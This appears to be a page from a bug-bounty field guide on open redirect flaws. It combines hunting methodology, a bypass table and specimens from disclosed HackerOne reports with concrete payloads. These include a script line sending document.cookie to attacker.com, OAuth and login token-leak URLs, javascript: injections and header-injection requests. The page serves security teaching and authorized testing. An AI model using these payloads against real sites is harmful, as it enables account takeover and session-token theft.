⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Open Redirect
Vulnerabilities

Open Redirect

§Basic information

An open redirect is any endpoint that sends the browser to a destination the attacker controls — through a parameter (?next=, ?redirect=, ?ReturnUrl=), a request header (X-Forwarded-Host, Onion-Location), a hidden form field, or a stored/loaded URL — without properly allowlisting both the destination host and scheme. The core mechanism is a validation gap: the app trusts a URL it was handed and navigates (or a downstream service navigates) there.

On its own a redirect is "just phishing," and that reflex closes it as low/informative. But the destination is the point: an open redirect sitting on an OAuth/login/reset origin is an account-takeover primitive, because auth flows hand the attacker's URL a live token — and when only the host is checked, the same sink also swallows non-http(s) schemes: javascript: executes as XSS in the origin, and data: renders attacker HTML inline. Treat every redirect param as a token-leak candidate, not a popup.

§Methodology

  1. Enumerate redirect sinks. Grep params (next, return_to, ReturnUrl, redirect_after_login, callbackUrl, rurl, continue, r), hidden form fields (success/failed/redirect), and headers where the server builds an absolute Location.
  2. Confirm the raw redirect. Feed an absolute external URL and read the Location header or the final client-side navigation.
  3. Classify the endpoint. Plain nav vs auth flow (login/logout/SSO/reset). This decides impact — a redirect on an auth origin often carries a token.
  4. Run the bypass ladder against any filtered param (//, ///, backslash, @, homoglyph dot, encoded slashes).
  5. Retest the scheme, not just the host — try javascript:, data:, and custom/app schemes on every confirmed sink.
  6. Upgrade. Check the redirected URL's query/fragment for a token; if present, replay it. Otherwise escalate to XSS, phishing-in-trusted-context, or cache/reset poisoning.
# Baseline confirmation — does an absolute external URL redirect off-site? curl -sI 'https://TARGET/login?next=https://COLLAB' | grep -i location curl -sI 'https://TARGET/logout?rurl=https://COLLAB' | grep -i location # Tell: 30x Location: https://COLLAB, or a client-side location.href=COLLAB

§Where to look (attack surface)

Group your hunt by sink type — each behaves differently and fails differently.

Auth / return parameters

The highest-value surface: a token frequently rides the redirect out. Params like next, return_to, ReturnUrl, redirect_after_login, callbackUrl, rurl, r, continue on /login, /logout, /forgot-password, and SSO/identity endpoints.

https://TARGET/login?next=https://COLLAB https://TARGET/logout?rurl=https://COLLAB https://auth.TARGET/login?redirectUrl=https://COLLAB&callbackUrl=https://COLLAB

Header sinks

The app builds an absolute Location from an incoming host header, or navigates on a response header — no URL param visible at all. Fuzz these wherever a server-side absolute URL is generated.

GET /some/redirecting/path HTTP/1.1 Host: TARGET X-Forwarded-Host: COLLAB # also try: X-Host, X-Forwarded-Server, Forwarded

Stored / loaded URLs

Avatar URLs, ad "Website URL" fields, social-media handle fields — rendered or fetched in another user's browser (often a support agent's). This escalates a redirect into victim-side SSRF-lite: IP/UA disclosure, forced-GET CSRF, DoS.

avatar = https://COLLAB/?https://cdn.TARGET/ # trusted CDN string in the query passes a contains() check

Hidden form fields & redirector services

Zendesk-style ticket forms reflect success/failed/redirect fields into a post-submit redirect; link shorteners and SSO session bridges on trusted first-party paths forward anywhere.

<input type="hidden" name="failed" value="https://COLLAB">

Path-as-URL, mobile & desktop

Endpoints that treat a path segment as a URL (host/http://evil.com/), static-file libs mishandling //host//..//, exported browsable WebView activities loading an intent-supplied URL, and QR-scanner auto-navigation.

adb shell am start -n PKG/COMP.WebViewActivity --es URL "https://COLLAB"

§Bypasses

Filters fail because they string-match a blacklist instead of parsing host and scheme. Every entry below is a real report — send the exact form shown.

Filter / controlBypassSeen in
http:// blacklistscheme-relative //COLLAB or \/\/COLLAB#195635, #504751
Naive same-origin checktriple-slash ///COLLAB or https://TARGET///COLLAB#905607, #223326
Unescaped . in allowlist regex. matches any char → register uc-a-run.app for uc.a.run.app#3723458
Rails HostAuthorization regexdotted-domain regex bypass (CVE-2021-22881)#1047447
contains() / substring trustput the trusted CDN string in the path/query of an attacker URL#1067809
Host-allowlist permits userinfohttps://COLLAB\@TARGET — server sees host-after-@, browser host-before#422279
Deny/allow-list, no Unicode normideographic full stop %E3%80%82 (U+3002) for .#1032610, #291750
Dot filterdecimal/hex integer IP + case toggling#50752, #411723
String-match path fixURL-encode the first path char (%7A = z)#111968
Denylist / static-file libencoded slashes %2f%2f, traversal /..//, //host/%2e%2e#504751, #3599248, #1354255
"Trusted domain" interstitialchain a same-origin/first-party redirector to launder the host#111968, #159522, #956449
Trusted redirector filternested double URL-encoding of the final host#956449, #1032610
Host-only scheme checkjavascript: / data: / custom scheme#683298, #50379, #1178239, #1089995
Anti-phishing host highlightIDN homograph + whitespace hides the real host#271324, #278095
OAuth redirect allowlistbuy an expired domain still on the allowlist#1327742
Leaked shortener key/regexmint brand short-links via Firebase Dynamic Links ?link=#1066410
CSP frame-src wildcard*.firebaseapp.com free-hosting wildcard = attacker host#1166766
▸ TIP
Filters that check the host almost never check the scheme. After confirming a host-based bypass, always re-fire the same param with javascript:, data:, and custom schemes — a plain open redirect upgrades to XSS or token theft for free (#683298, #1178239).

§Scheme variants (retest every sink)

A host allowlist that forgets to constrain the scheme is a different bug in the same param.

javascript: → XSS

When only the host is checked and the value lands in a location/href sink, a javascript: URI executes in the target origin.

https://TARGET/login?next=javascript:alert(document.domain)

data: → inline attacker HTML

Renders attacker markup under the trusted flow — potent right after a sensitive action (see #163067 post-reset phishing).

https://TARGET/forgot-password?next_url=data:text/html;base64,PGgxPnBoaXNoPC9oMT4=

Custom / privileged schemes

Custom app schemes intercept tokens on mobile; browser-internal schemes reach privileged URLs (SOP/UXSS-class, far beyond ordinary redirect).

test://host steam:// intent:// # custom app scheme captures an appended token (#1178239) chrome://restart/ file:// chrome://settings # privileged navigation (#1089995)

§Escalation & impact

A bare redirect is phishing; the value is in the upgrade.

# OAuth: token lands in the fragment on the attacker origin (#905607) https://auth.TARGET/login?redirectUrl=https://TARGET///COLLAB%2523&callbackUrl=https://TARGET///COLLAB%2523 # -> after login: https://COLLAB/#?token=<VICTIM_TOKEN>
# Login POST appends a single-use session token to the attacker ReturnUrl (#1544236) POST /User/AuthenticateForms HTTP/1.1 Host: TARGET __RequestVerificationToken=...&email=...&password=...&ReturnUrl=https://COLLAB # -> GET /User/FrontDoorLogin/?token=<SESSION_TOKEN>&returnUrl=https://COLLAB
▲ WARNING
A single-use token still counts. When the leaked value is one-time (#1544236, #3723458), your PoC must mint a fresh URL per attempt — a stale token that no longer replays reads as "unexploitable" to a triager. Demonstrate the leak and the replay in one sitting.

§Prevention

● NOTE
A redirect that lands only on a same-origin relative path, validates the scheme, and carries no token is usually non-exploitable — downgrade it rather than reporting a no-impact nav.

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 151 in this class.

Real-world example

Unescaped dot in redirect-allowlist regex -> auth-token leak -> 1-click ATO

◆ Critical
Specimen #3723458 · khanacademy · none · 108 votes · resolved
Program khanacademySurface webChain open redirect (regex bypass) -> transfer-auth token exfilTag account-takeover

Root cause

The redirect-URL allowlist regex left dots unescaped (uc.a.run.app), so '.' matched any char; an attacker registers a matching domain (uc-a-run.app), the cross-domain login flow mints a one-time transfer-auth token and redirects it to the attacker, who replays it for a full session.

Method

  1. Find the redirect/continue parameter that triggers cross-domain auth
  2. Recover the validation regex from a leaked JS sourcemap (cdn/...js.map -> libs/urls/src/regexp.ts)
  3. Spot unescaped dots; register a domain where hyphens satisfy the '.' wildcards (xfarr-6fmjyrz2lq-uc-a-run.app)
  4. Send victim login?continue=https://attacker-domain/
  5. Flow generates transfer_auth?key=<token> and redirects to attacker; token not consumed on attacker origin
  6. Replay ?key=<token> on a real *.khanacademy.org -> backend issues full session cookies (victim ATO)
Vulnerable: /(^|\.)(khanacademy\.(org|dev|test|local)|kastatic\.org|.*-6fmjyrz2lq-uc.a.run.app)$/ Attack domain: xfarr-6fmjyrz2lq-uc-a-run.app Lure: https://classroom.khanacademy.org/login?continue=https%3A%2F%2Fxfarr-6fmjyrz2lq-uc-a-run.app%2F

Insight — Audit domain-allowlist regexes for unescaped dots and missing anchors - '.' matches any char, turning '.run.app' into a wildcard an attacker can register around. Pull JS .map files to recover the exact regex. Cross-domain 'transfer auth' tokens passed in URLs are replayable if not consumed on the receiving origin.

Real-world example

Auth token theft via unvalidated callbackUrl in email-signup flow

◆ Critical
Specimen #3419636 · lemlist · none · 60 votes · resolved
Program lemlistSurface webChain open redirect in verification -> auth token leak -> acTag account-takeover

Root cause

The email signup/verification flow reflects an attacker-controlled callbackUrl parameter without validation; on verification the app redirects to that URL carrying the user's auth tokens, handing them to the attacker's domain.

Method

  1. Start email signup for the victim with callbackUrl set to attacker.com
  2. Victim clicks the legitimate verification email link
  3. App completes verification and auto-redirects to attacker.com with auth tokens attached
  4. Attacker captures the tokens
https://TARGET/signup?...&callbackUrl=https://attacker.com/steal

Insight — Auth/verification flows that echo a return/redirect/callback URL are prime open-redirect-to-token-theft: tokens ride the redirect. Tamper callbackUrl/redirect_uri/next/returnTo in every signup, verify, and reset flow and watch where tokens land. (From program summary; body limited-disclosure.)

Real-world example

QR scanner auto-navigation without confirmation -> forced drive-by download

◆ High
Specimen #1946534 · brave · awarded · 148 votes · resolved
Program braveSurface mobile-androidChain malicious QR -> silent navigation -> forced file/APK dTag account-takeover

Root cause

The browser's built-in QR scanner opens the decoded URL automatically with no user confirmation, so a malicious QR silently navigates the victim and can even trigger unsolicited file/APK downloads (CVE-2023-28364).

Method

  1. Generate a QR encoding an attacker URL (page or direct file/APK link)
  2. Victim scans it with the in-app QR scanner
  3. Browser auto-navigates with no 'go to site' prompt; a direct download link fetches a file/APK without a click
QR payload: https://evil.example/ (or https://d.apkpure.com/.../app.apk to force an APK download)

Insight — Treat any client-side URL handler that auto-navigates decoded/received input (QR scanners, deep links, NFC, custom schemes) as an open-redirect surface; the escalation is forced drive-by download, not just phishing. Compare behavior against Chrome (which prompts) to demonstrate the missing confirmation.

Real-world example

@ (userinfo) injection into redirect_url to break host parsing

◆ High
Specimen #243474 · inflection · awarded · 72 votes · resolved
Program inflectionSurface webTag oauthTag account-takeover

Root cause

redirect_url is composed into a URL where an injected @ makes the intended trusted prefix the userinfo and the attacker host the real authority after login.

Method

  1. Locate login redirect_url pointing at an internal path
  2. Prefix an attacker host with @ (URL-encoded %40) so parser reads attacker host as authority
  3. Authenticate and land on attacker domain
...&redirect_url=%40google.com%2Fclient_id%253D... # @google.com becomes the host

Insight — Inject @ (and %40, %2540 double-encoded) into any redirect param that already contains a path; parsers that split on the first / but not the @ will resolve to your host.

Real-world example

Client-side redirect follows param before server-side linkshim check

◆ High
Specimen #1579374 · brave · awarded · 41 votes · resolved
Program braveSurface desktopTag account-takeover

Root cause

A browser's redirect handling navigated directly to the URL contained in a redirect-wrapper param (l.facebook.com/l.php?u=) without letting the origin server perform its allowlist/linkshim check, so server-side URL filtering was bypassed.

Method

  1. Take a link-wrapper URL whose safety depends on a server-side check (l.facebook.com/l.php?u=TARGET)
  2. Load it in the affected browser
  3. Browser issues the request straight to TARGET instead of to the wrapper host
https://l.facebook.com/l.php?u=https://attacker.example/

Insight — Browser prefetch/redirect optimizations can short-circuit server-side URL-safety gateways (linkshim, click-tracking allowlists). When testing redirect-wrapper endpoints, verify the request actually reaches the wrapper host; a client that jumps straight to the target defeats the entire server-side protection.

Real-world example

Header-driven navigation to privileged schemes (Onion-Location -> chrome:// / javascript:)

◆ High
Specimen #1089995 · brave · awarded · 40 votes · resolved
Program braveSurface desktopChain attacker header -> privileged-scheme navigation -> SOPTag account-takeover

Root cause

A browser feature navigated to the URL supplied in a server response header (Onion-Location) without restricting the scheme to http/https/.onion, so an attacker site could send chrome:// or javascript: values and reach privileged internal URLs, bypassing the same-origin policy.

Method

  1. Serve a page that returns the feature-triggering response header set to a privileged URL
  2. Trigger the feature (auto-redirect setting, or the address-bar button)
  3. The browser navigates to the privileged scheme (e.g. chrome://restart/)
<?php header("Onion-Location: chrome://restart/"); ?> # also try javascript:, file:, chrome://settings

Insight — Any feature that navigates based on attacker-controlled input (response header, redirect param, deep link, meta refresh) must allowlist schemes. Test javascript:, data:, chrome:, file:, intent:. Reaching privileged/internal schemes is an SOP/UXSS-class bypass, far beyond ordinary open redirect.

Real-world example

Substring URL validation bypass on stored avatar -> IP leak + forced-logout DoS

◆ High
Specimen #1067809 · CS Money · USD 700 · 30 votes · resolved
Program CS MoneySurface webChain Broken URL allowlist -> stored payload rendered in agent

Root cause

The avatar URL was validated only by checking that it contained the CDN prefix as a substring; an attacker prepends their own host so the value passes validation but is loaded from an arbitrary URL in the support agent's browser.

Method

  1. Set the avatar cookie/field to a URL that contains the trusted CDN string but points elsewhere
  2. Start a support chat so the agent's browser renders your avatar
  3. Point the URL at your server to capture the agent's IP; or point it at the app's own logout URL to force-logout every online agent (DoS)
# IP disclosure: avatar = https://ATTACKER/?https://steamcdn-a.akamaihd.net/steamcommunity/ # Forced-logout DoS: avatar = https://cs.money/logout?https://steamcdn-a.akamaihd.net/steamcommunity/

Insight — Any URL allowlist using contains()/indexOf() instead of proper origin parsing is bypassable by placing the trusted string in the path/query of an attacker URL. Stored-and-rendered-to-another-user URLs escalate to victim-side SSRF-lite: IP/UA disclosure, CSRF (logout, state-changing GET), and DoS.

Real-world example

Framework open redirect in Rails actionable_exceptions (CVE-2020-8264)

◆ High
Specimen #904059 · rails · USD 1000 · 19 votes · resolved
Program railsSurface web

Root cause

Rails' ActionableExceptions middleware redirect_to used request.params[:location] verbatim in the Location header with no validation, so a POST to /rails/actions in dev/exception mode redirects anywhere.

Method

  1. Target a Rails app 6.0.0-6.0.3.1 with show_exceptions enabled
  2. Host an auto-submitting POST form to /rails/actions with a location param
  3. Victim submit yields a 302 to the attacker URL
<form method="post" action="http://TARGET/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=https://evil.com/"> <button type="submit">click!</button> </form>

Insight — Patch-diffing the CVE-2020-8185 commit revealed a sibling unvalidated redirect. When a framework fixes one redirect, read the diff and audit adjacent handlers. This POST->GET redirect is also useful to bypass Referer checks / for SSRF, not just phishing.

Real-world example

Grafana path-traversal open redirect chained to stored XSS + full-read SSRF (CVE-2025-4123)

◆ High
Specimen #3286945 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webChain path-traversal open redirect -> load external malicious pTag cloud-aws

Root cause

Grafana's /public/... redirect handler fails to sanitize path-traversal redirect targets; combined with plugin auto-loading from external sources it loads attacker JS into the trusted Grafana origin (stored XSS), and with the Image Renderer plugin escalates to full-read SSRF.

Method

  1. Send a path-traversal request to the public redirect endpoint to redirect to an attacker-hosted fake plugin repo
  2. Grafana loads the malicious plugin (plugin.json + malicious.js) in the trusted origin -> stored XSS steals session/cookies
  3. If Image Renderer is installed, point a panel image url at internal services -> Grafana fetches and returns content (full-read SSRF to cloud metadata)
GET /public/..%2F..%2F%3f%2F..%2F.. HTTP/1.1 Host: TARGET # malicious plugin.json { "type":"panel", "name":"Evil Plugin", "id":"evil.plugin", "scripts":["malicious.js"] } # malicious.js fetch("https://attacker.com/log?c="+encodeURIComponent(document.cookie));

Insight — An open redirect in a plugin/asset loader is a launchpad: redirecting a trusted app to attacker-controlled code runs it in-origin (XSS), and a server-side fetcher (image renderer) turns it into SSRF for cloud metadata. Prereqs here: anonymous access on, Image Renderer installed, egress allowed.

Real-world example

Domain-suffix boundary bypass of a substring allowlist

◆ High
Specimen #1212337 · khanacademy · none · 13 votes · resolved
Program khanacademySurface webTag account-takeover

Root cause

A redirect allowlist that checks only for the presence of the substring 'khanacademy.org' with no boundary/anchor. Attacker registers a domain whose left label ends in the allowed string so the check passes but the effective host is attacker-controlled.

Method

  1. Find the redirect/continue param that validates against your target domain string.
  2. Register a domain that makes the allowed string a non-anchored substring, e.g. orghacker.com.br with a khanacademy subdomain.
  3. Point continue= at khanacademy.orghacker.com.br so the substring 'khanacademy.org' is present but the real host is orghacker.com.br.
https://www.khanacademy.org/signup?isteacher=1&referral=LearnStorm&continue=https://khanacademy.orghacker.com.br

Insight — When an allowlist uses substring/startsWith/contains instead of an anchored suffix match on a full parsed host, register attacker.com whose label ends in the allowed token (target.comattacker.com) or begins with it. Always re-test a 'fixed' redirect for boundary gaps.

Real-world example

Stored redirect via tamperable URL fields consumed by a privileged viewer

◆ High
Specimen #203726 · greenhouse · awarded · 9 votes · resolved
Program greenhouseSurface webTag file-upload

Root cause

An application flow stores a URL supplied by the user (resume_url/cover_letter_url, normally an S3 link set by the client) and later renders it as a clickable/download link for a privileged user, without validating that the URL points to the expected storage host.

Method

  1. Complete a flow that uploads-by-reference (client sends the storage URL, e.g. an S3 link) and intercept the submit.
  2. Replace job_application[resume_url] / [cover_letter_url] with an arbitrary attacker URL.
  3. The hiring manager later views/downloads the 'file' and is sent to the attacker URL (phishing/malware), while the UI shows the trusted S3 host.
POST /scout24/jobs/503488 ... Content-Disposition: form-data; name="job_application[resume_url]" https://evil.example ... Content-Disposition: form-data; name="job_application[cover_letter_url]" http://evil.example

Insight — Hunt for URL-typed fields the client sets and the server later reflects to another user (upload-by-URL, avatar_url, resume_url, webhook targets). If the server does not pin them to an allowed host, you get a stored open redirect aimed at a higher-privilege victim. Remediation tell: value should be forced to grnhse-prod-*.s3.amazonaws.com.

Real-world example

URL-parser hostname confusion (url-parse) enabling allowlist bypass

◆ High
Specimen #384029 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface webChain open redirect / SSRF / auth bypass via one parser bugTag supply-chain

Root cause

url-parse < 1.4.3 returns the wrong hostname for crafted URLs, so a security check that trusts the parsed host can be fooled while the browser/HTTP client resolves a different, attacker host. CVE-2018-3774. Enables open redirect, SSRF, and auth bypass.

Method

  1. Identify server code that parses a user URL with a library and gates a redirect/SSRF/auth decision on the parsed .hostname.
  2. Craft a URL the library and the real client disagree on (e.g. malformed authority, backslashes, extra @/: characters).
  3. Parser reports a trusted hostname; the actual navigation/fetch goes to the attacker host.
# concept: exploit parser-vs-browser disagreement, e.g. http://trusted.com\@evil.com http://evil.com\.trusted.com # url-parse < 1.4.3 mis-extracts hostname; patched in 1.4.3 (commit 53b1794)

Insight — Never trust one URL parser's hostname for a security decision. Parser discrepancies between the validating library and the executing client are a reusable class spanning open redirect, SSRF allowlist bypass, and auth. Check library version and pass to a URL differential fuzzer.

Real-world example

url-parse protocol-validation fallback allows javascript: bypass (CVE-2020-8124)

◆ High
Specimen #496293 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface webChain protocol-validation bypass -> javascript:/open-redirect p

Root cause

In the browser build, url-parse's extractProtocol falls back to document.location.protocol when the input doesn't match its protocol regex, so a malformed scheme like ' javascript:' (leading space) yields an empty/parsed protocol that bypasses caller sanitization checks.

Method

  1. Feed url-parse a URL with a leading space / malformed scheme, e.g. ' javascript:alert(1)'
  2. Parser fails the regex /^([a-z][a-z0-9.+-]*:)?(\/\/)?([\S\s]*)/i and sets protocol from location.protocol
  3. Caller logic that trusts the parsed protocol to block dangerous schemes is bypassed
parse.extractProtocol(' javascript:') // expected {protocol:''} but browser build uses location.protocol -> validation bypass

Insight — When an app relies on a URL library to strip/validate dangerous schemes, test leading whitespace and malformed schemes; parser/environment differences (Node vs browser fallback to location.protocol) can smuggle javascript:/data: past sanitizers into DOM sinks or redirects.

Real-world example

Open redirect -> OAuth login-token theft via triple-slash bypass

◆ Medium
Specimen #905607 · cs_money · awarded · 356 votes · resolved
Program cs_moneySurface webChain open redirect -> OAuth redirectUrl -> token in fragmenTag open-redirectTag oauth

Root cause

cs.money accepts https://cs.money///evil.tld as a same-site-looking URL that redirects off-domain. Feeding that as the Steam-OAuth redirectUrl/callbackUrl sends the post-login token (in the fragment) to the attacker.

Method

  1. Confirm open redirect: https://cs.money///attacker.tld redirects off-site
  2. Take the site's sign-in URL (auth.dota.trade/login?redirectUrl=...&callbackUrl=...)
  3. Set redirectUrl/callbackUrl to cs.money///attacker.netlify.app%2523 (URL-encoded #)
  4. Victim logs in; token lands at attacker site in the fragment
https://auth.dota.trade/login?redirectUrl=https://cs.money///attacker.netlify.app%2523&callbackUrl=https://cs.money///attacker.netlify.app%2523 # after login: attacker.netlify.app/#?token=<VICTIM_TOKEN>

Insight — //, ///, backslashes and %2f tricks turn a 'same-domain' redirect into an off-site one. Any open redirect on the OAuth-trusted origin becomes an account takeover when the login flow returns the token in the URL/fragment.

Real-world example

Path-as-URL open redirect (host/http://evil.com/)

◆ Medium
Specimen #469803 · upserve · 1200 · 178 votes · resolved
Program upserveSurface webTag account-takeover

Root cause

Server treats a full URL embedded in the request path as a redirect target, so appending http://evil.com/ after the host issues a redirect there.

Method

  1. Append an absolute URL directly to the base path
  2. Request https://target/http://evil.com/
  3. Observe redirect to evil.com
https://inventory.upserve.com/http://stanko.sh/

Insight — Try smuggling a whole URL into the path (not just query params) on apps that do path-based routing/redirects; router 'catch-all to URL' handlers are a common open-redirect sink.

Real-world example

Logout/login flow redirect param (?logout=URL / rurl)

◆ Medium
Specimen #1788006 · expediagroup_bbp · 1000 · 169 votes · resolved
Program expediagroup_bbpSurface webTag account-takeover

Root cause

Logout (and login) endpoints take a post-action redirect value (logout=/rurl=) and honor an absolute external URL without validation.

Method

  1. Log out and watch for a redirect/return parameter (rurl, logout, next, returnUrl)
  2. Replace its value with an external https URL
  3. Confirm redirect after the logout completes
GET /?logout=https://qx4lw1nsec.blogspot.com HTTP/2 Host: www.expedia.com

Insight — Logout endpoints are frequently overlooked yet almost always carry a return-URL param; test them as first-class open-redirect surface, same as login return_to.

Real-world example

Payload/redirect delivery via unvalidated social-media handle URL construction

◆ Medium
Specimen #2483422 · security · awarded · 136 votes · resolved
Program securitySurface webChain unvalidated link -> off-site redirect / drive-by file dow

Root cause

Profile social-media fields take a username and build the outbound href from it, but sanitization is inconsistent (Twitter validated, other networks not), letting an attacker craft the handle so the resulting link points to an arbitrary URL — used to auto-download files or redirect off the trusted origin from a trusted-looking profile button.

Method

  1. Go to profile edit; for a non-validated social network, enter a handle that breaks out of the expected URL template (path/query chars within the ~25-char limit).
  2. View the public profile and click the social button — it navigates to / downloads from the attacker-controlled URL instead of the real network.
# social handle field abused so the generated href resolves to attacker content # (e.g. a .zip auto-download or off-site redirect) instead of github.com/<user>

Insight — Anywhere an app turns a short user 'handle'/'username' into a full URL, test whether you can steer the resulting link off-domain — inconsistent validation across sibling fields (one network sanitized, others not) is the tell. Trusted profile/link widgets bypass download-warning UX and lend phishing credibility.

Real-world example

Login ReturnUrl leaks one-time session token to attacker domain

◆ Medium
Specimen #1544236 · insightly · awarded · 94 votes · resolved
Program insightlySurface webChain open redirect -> post-login token in URL -> account taTag account-takeover

Root cause

The login POST honors an attacker-set ReturnUrl to an arbitrary external domain, and the subsequent FrontDoorLogin redirect appends a one-time session token to that URL, delivering the victim's login token to the attacker.

Method

  1. Capture the login POST, change ReturnUrl=%2F to ReturnUrl=https://evil.com
  2. Server responds redirecting to /User/FrontDoorLogin/?token=<token>&returnUrl=https://evil.com
  3. Deliver the crafted flow to victim; their token lands on evil.com (single-use, regenerate per attack)
POST /User/AuthenticateForms __RequestVerificationToken=...&email=...&password=...&ReturnUrl=https://evil.com&AppId= -> GET /User/FrontDoorLogin/?token=<SESSION_TOKEN>&returnUrl=https://evil.com

Insight — An open redirect in a LOGIN flow is often a token-leak: check whether the post-login redirect carries an auth/session token in the URL to the attacker-controlled destination. That upgrades open-redirect to ATO.

Real-world example

Host / Forwarded header injection -> arbitrary redirect & cache poisoning

◆ Medium
Specimen #2627221 · rubygems · none · 74 votes · resolved
Program rubygemsSurface webTag cache

Root cause

The app reflects the client-supplied Host (or Forwarded: host=) value into a redirect Location without validation, so an attacker controls the destination domain.

Method

  1. Intercept any request to the target
  2. Add header 'Forwarded: host=evil.com' (or set Host: evil.com)
  3. Forward; the server issues a 3xx redirect to the attacker domain
GET / HTTP/1.1 Host: rubygems.org Forwarded: host=evil.com

Insight — Fuzz Host, X-Forwarded-Host and Forwarded: host= on any endpoint that redirects or builds absolute URLs; a reflected value in Location = open redirect / cache poisoning / reset-link poisoning.

Real-world example

/..// path-traversal + double-slash defeats denylist redirect fix

◆ Medium
Specimen #3599248 · lovable-vdp · none · 72 votes · resolved
Program lovable-vdpSurface webTag account-takeover

Root cause

A prior fix denylisted /\ and /%5C; server normalizes /../ away and then treats the remaining //host as a protocol-relative external redirect.

Method

  1. Confirm target patched obvious // and /\ payloads
  2. Supply redirect=/..//evil.com
  3. Server normalizes /../ then redirects to //evil.com (external)
https://lovable.dev/auth/post-login?redirect=/..//google.com

Insight — Against a 'fixed' open redirect, combine path normalization (/..// , /./ , /%2e%2e/) with protocol-relative // to reconstruct an external host after the denylist check; denylists that don't run a real URL parser keep losing.

Real-world example

Interstitial/homograph fix bypass: IDN + extra slashes hide the real redirect host

◆ Medium
Specimen #271324 · security · awarded · 71 votes · resolved
Program securitySurface web

Root cause

The signed-redirect link displays the URL param to the user but the browser resolves an IDN differently; injecting extra // after the scheme makes the interstitial render a benign 'https:///www.yelp.com/' while the browser navigates to the punycode homograph host.

Method

  1. Post an IDN homograph URL so the platform signs it (stored as punycode)
  2. In the signed redirect URL, swap the punycode host back to its raw IDN form (signature still valid)
  3. Insert an extra // after https%3A%2F%2F
  4. Interstitial shows the spoofed benign domain; actual redirect goes to the homograph host
https://hackerone.com/redirect?signature=SIG&url=https%3A%2F%2F//www.%D1%83elp.com%2F

Insight — Signature/allow-list checks that operate on a normalized string but display/redirect a differently-parsed one are bypassable. Test URL fields with IDN homoglyphs, extra slashes, backslashes, and userinfo (@) to split the displayed host from the navigated host.

Real-world example

Chained open redirects + Ideographic Full Stop defeat a link deny-list

◆ Medium
Specimen #1032610 · x · USD 560 · 70 votes · resolved
Program xSurface webChain internal open redirect -> external open redirect -> fo

Root cause

A backend link deny-list is evaded by chaining a same-origin open redirect (login?redirect_after_login=) into an external open redirect and replacing ASCII periods with the Unicode Ideographic Full Stop, so the forbidden domain is not recognized by the filter but is normalized by the browser at navigation.

Method

  1. Replace every . in the target host with %E3%80%82 (Ideographic Full Stop)
  2. URL-encode and wrap it in an external open redirect (analytics.twitter.com ...rd=TARGET%3F)
  3. Wrap that in the internal login redirect (twitter.com/login?redirect_after_login=...)
  4. Post the twitter.com-prefixed URL; deny-list allows it, victim is redirected to the forbidden host with no interstitial
https://twitter.com/login?redirect_after_login=https%3A%2F%2Fanalytics.twitter.com%2Fdaa%2F0%2Fdaa_optout_actions%3Faction_id%3D4%26rd%3Dhttps%253A%252F%252Fddosecrets%2525E3%252580%252582com%253F

Insight — Deny/allow-list URL filters that don't Unicode-normalize can be beaten with alternate dot characters (U+3002, U+FF0E, U+FF61) and multi-hop open redirects that launder the final host. Prefix the chain with an in-scope trusted domain to also gain user trust.

Real-world example

Firebase Dynamic Links shortener as an open-redirect factory

◆ Medium
Specimen #1066410 · clario · 300 · 68 votes · resolved
Program clarioSurface webChain info disclosure (API key in JS) -> abuse Dynamic Links -&Tag account-takeover

Root cause

A leaked Firebase Dynamic Links API key plus a permissive shortening regex let anyone mint trusted-brand short links that redirect anywhere by embedding the brand path.

Method

  1. Grep target JS for firebasedynamiclinks.googleapis.com keys and the ?link= shortener endpoint
  2. Call shortLinks with your target URL, satisfying the regex by adding the brand path (e.g. /clario.co/)
  3. Distribute the brand-looking short link that redirects to attacker site
POST https://firebasedynamiclinks.googleapis.com/v1/shortLinks?key=LEAKED_KEY # or: https://lnk.clario.co/?link=https://evil.com/clario.co/

Insight — Link shorteners / dynamic-link services fronted by a brand domain become open redirects when their regex/allowlist is loose and the API key is exposed in client JS; harvest keys from bundles and test the ?link= param.

Real-world example

Custom social-profile link field used as a payload-delivery redirect

◆ Medium
Specimen #3168691 · security · awarded · 67 votes · resolved
Program securitySurface webChain stored profile link -> auto-download / redirect gadgetTag account-takeover

Root cause

Social-media handle fields were concatenated into destination URLs without validating that the constructed path stayed on the intended platform, letting an attacker craft a link behind a trusted platform button that auto-downloads a file.

Method

  1. Edit profile and set a social handle that constructs a raw-file URL (e.g. GitHub raw .zip path)
  2. Publish profile
  3. Victim clicks the platform button and a file downloads with no warning
github handle -> https://github.com/USER/i/raw/i/i.zip # button links to arbitrary raw path

Insight — Profile 'social link' inputs are often template-joined (base + handle); inject path segments to reach raw/download endpoints or off-site redirects; also check that remediation actually purges already-stored malicious values.

§References & practice

  1. PortSwigger Web Security Academy — Open redirection labs (hands-on practice).
  2. All 151 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.